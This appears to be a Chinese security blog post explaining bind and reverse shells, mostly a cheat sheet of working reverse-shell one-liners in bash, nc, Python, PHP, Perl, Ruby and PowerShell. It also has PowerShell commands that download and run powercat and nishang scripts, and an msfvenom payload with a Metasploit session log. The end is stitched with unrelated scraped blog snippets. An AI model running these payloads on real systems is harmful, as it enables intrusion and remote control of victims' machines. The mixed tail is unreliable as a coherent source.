正向shell和反向shell
正向shell:控制端主动发起连接去连接被控制端
反向shell:被控制端主动连接控制端
在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,
比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。
反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。
反向shell如下
Linux常见反向shell
bash反弹shell
nc -lvp 4444
bash -i>& /dev/tcp/192.168.11.12/4444 0>&1
nc反弹shell
nc -lvp 4444
nc 192.168.11.12 666
/bin/bash |nc 192.168.11.12 666
nc 192.168.11.12 999 -e /bin/bash Linux
python反弹shell
nc -lvp 9999
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.12",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反弹shell
nc -lvp 6666
php -r '$sock=fsockopen("192.168.11.12",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反弹shell
perl -e 'use Socket; $i="192.168.11.12";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby反弹shell
nc -lvp 4444
ruby -rsocket -e'f=TCPSocket.open("192.168.11.12",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Windows反弹shell如下
powercat反弹shell
powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,
nc -vlp 6666
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.11.12 -p 6666 -e cmd
nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,
集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
nc -lvp 6666
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.11.12 -port 6666
自定义powershell函数反弹shell
nc -lvp 6666
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.11.12',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
正向shell如下
nc 正向shell
nc -lvp 8080 -e /bin/bash
nc 192.168.11.11 8080
msf木马正向shell
msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > set rhost 192.168.1.108
rhost => 192.168.1.108
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.108:80
[*] Sending stage (175174 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.11.12:33071 -> 192.168.1.108:80 ) at 2022-02-01 20:28:13 +0800
meterpreter >
msf,payload模块
set payload windows/meterpreter/bind_tcp 正向
set payload windows/x64/meterpreter/reverse_tcp 反向
文章浏览阅读229次。结构型模式——享元(Flyweight)目录结构型模式——享元(Flyweight)问题背景解决方案效果缺陷相关模式实现问题背景当使用大量细粒度对象,需要提高系统性能时,考虑使用享元。现在我们要为一个RPG游戏设计装备系统,首先根据需求提取出装备类的属性,可能包括:标识符、名称、描述、装备类型、初始属性取值集合、穿戴条件、属性集合、耐久上限、当前耐久、最高强化等级、强化等级……我们会发现这些...
文章浏览阅读388次。在iOS开发中,后台返回的数据大多是JSON格式,对应地会被网络框架层解析成Swift中的Dictionary、Array。由于数据类型的复杂、字段的繁多,直接使用Dictionary、Array会比较麻烦,比如items[0]["user"]["name"]这样的使用方式,非常不友善,而且没有智能语法提示。所以很多时候会考虑将JSON转换成Model之后再进行操作,会友善很多,比如i..._kakajson
文章浏览阅读591次。#include <stdio.h>#include <iostream>#include "Windows.h"#include "HCNetSDK.h"using namespace std;//时间解析宏定义#define GET_YEAR(_time_) (((_time_)>>26) + 2000) #define GET_MONTH(_time_) (((_time_)>>22) & 15)#defin._byalarmjsonpictureseparate
文章浏览阅读199次。第1课?电子小报编辑部(二)江岸区三眼桥小学???教材选择:武汉版???四年级下册???第1课教学目标:1、继续了解运用WORD,熟悉其基本操作;2、通过自主学习,掌握制作电子板报各部分的基本方法,掌握页面、文本框的设置。3、学生分组协作学习,设计制作板报的版面。4、培养学生自主学习和合作学习的能力及探索新知的良好习惯,形成综合运用所学知识的能力。教学重点:能根据需要对自己的电子板报进行简单的排版..._随取随用云存储教案
文章浏览阅读1.8w次,点赞7次,收藏74次。一.综述 本文是基于STM32F107的LWIP协议栈通过TFTP的文件传输协议进行IAP程序升级。本例采用的PHY层芯片是DP83848,相当于物理层,STM32F107自带的MAC层相当于数据链路层,而LWIP协议栈提供的就是网络层、传输层的功能,应用层是需要我们自己根据自己想要的功能去实现的。升级程序由bootloader和APP两部分组成。将stm32 flash划分为两个分区,bootl_stm32f103 tftp iap
文章浏览阅读704次。刚才发现用LiveWriter写的文章在个人空间的最新动态里没有显示。因为有2次在线写blog挂了重写的经历,所以改用LiveWriter离线写。现在看,离线写也不行啊,不在最新动态中显示,不便于博友之间的交流。希望CSDN能有所改进。_为什么csdn发了博客在动态里没有
文章浏览阅读2.1k次。0:上传成功1:上传文件超出php配置max_upload_filesize限制2:上传文件超出html表单限制3:文件只有部分被上传 4:没有上传文件6:没有找不到临时文件夹 7:文件写入失败(可能是文件权限不足)8:php文件上传扩展file没有打开_php $_files error 5
文章浏览阅读223次。http://blog.csdn.net/u013258802/article/details/52959513_android手势锁频界面应用
文章浏览阅读601次。转载,学习下:2008/05/06 11:33其实原理很简单,只是在 http 请求中加一个文件的偏移量而已,当然这还需要 server 支持这个头才行。 手头上刚好有一篇这样的文档。 (一)断点续传的原理 其实断点续传的原理很简单,就是在Http的请求上和一般的下载有所不同而已。 打个比方,浏览器请求服务器上的一个文时,所发_java 断点为什么接口成功之后还会走
文章浏览阅读4.4k次,点赞8次,收藏3次。今天学习了测试驱动开发(TDD)模式,用这个方法写一个简单的前端登录功能(基于servlet&Jsp的登录功能-三层架构实现)不知道测试驱动开发,可以点这个:https://blog.csdn.net/qq_40542534/article/details/108473822编写service业务逻辑层的测试代码import org.junit.Test;public class UserServiceTest { //1、添加Junit测试 @Test pu_servlet测试登录
文章浏览阅读249次。根据云风博客的描述,Skynet的核心功能就是解决一个问题:把一个符合规范的C模块,从动态库(so文件)中启动起来,绑定一个永不重复(即使模块退出)的数字id做为其handle。模块被称为服务(Service),服务间可以自由发送消息。每个模块可以向 Skynet 框架注册一个callback函数,用来接收发给它的消息;每个服务都是被一个个消息包驱动,当没有包到来的时候,..._skynet skynet.db.mysql 插入数据成功判定
文章浏览阅读1.3k次。中国大学MOOC“Python程序设计基础”第5次开课推荐图书:《Python程序设计(第3版)》,(ISBN:978-7-302-55083-9),董付国,清华大学出版社,2020年6月..._sqlite_sequence